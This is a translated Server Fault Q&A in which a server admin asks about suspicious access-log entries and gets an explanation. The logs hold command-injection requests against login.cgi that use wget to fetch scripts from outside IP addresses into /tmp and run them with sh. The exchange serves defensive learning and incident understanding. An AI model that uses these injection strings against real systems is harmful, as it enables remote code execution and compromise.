Security

有人只是想黑我?登錄.cgi+wget

  • January 3, 2020

我正在建構一個新伺服器Apache,實際上我正在學習,所以我正在嘗試不同的東西。我的安全系統已經完成,但當然我可能會遺漏一些東西,或者,如果沒有,我明白今天沒有一個系統可以 100% 保護我。那麼,為什麼我認為有人嘗試了我,只是因為我在日誌中收到了以下資訊:

1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"

41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566

還有更多。我知道有人收到錯誤 400,這對我來說還不錯。所以,實際上我的問題不是他們是否嘗試我,因為我認為是,因為這似乎不是對我網站的正常請求。我想得到這個請求的解釋來理解和學習。他們實際上想做什麼,找到我的登錄系統並將其發送給某個人?

PS我已經知道wget你可以下載一些網站,我還發現那login.cgi是一個基於cookie的身份驗證程序。

謝謝!

您不受歡迎的訪問者並沒有試圖隱藏他在您的伺服器上下載和執行某些腳本的嘗試。

他可能期望,不僅您有這樣login.cgi的腳本,它也沒有正確處理其輸入,因此直接執行撇號之後的所有內容(%27在編碼日誌中)。您可能沒有這樣易受攻擊的腳本,但是 HTTP 程式碼 400 始終意味著您不受影響的假設是沒有根據的。

這很可能是針對大量隨機目標的無人值守攻擊。只能推測要下載和執行的腳本可能包含什麼內容。假設您無法確定這一點是安全的,因為傳遞腳本的伺服器通常會提供不同的腳本(+),具體取決於它是假設攻擊到目前為止是成功的,還是正在調查中。

攻擊者也完全有可能認為程式碼執行不太可能,而他只是在您的系統上收集資訊。所有面向網際網路的設備都應該定期收到此類請求,並且您的 Web 伺服器上的所有腳本都應該以您永遠不必擔心的方式編寫。

(+)為什麼攻擊者會提供不同的腳本?使調查後妥協特權升級變得更加困難。該腳本稍後可能會從記憶體中失去,因此確保受害者以後無法檢索該腳本對攻擊者來說是有意義的。如何攻擊者會提供不同的腳本嗎?他將確保 Web 伺服器僅在攻擊後不久回復來自受攻擊機器 IP 的攻擊載荷。由於攻擊只能立即成功或失敗,因此以後對腳本的任何檢索都可以歸因於受害者取證團隊或安全研究人員。這不是一種新的或純粹的理論機制,我在 2016 年確實收到了基於 IP 的不同有效負載(一個腳本為空,另一個包含載入第 3 階段有效負載的命令)。

引用自:https://serverfault.com/questions/929045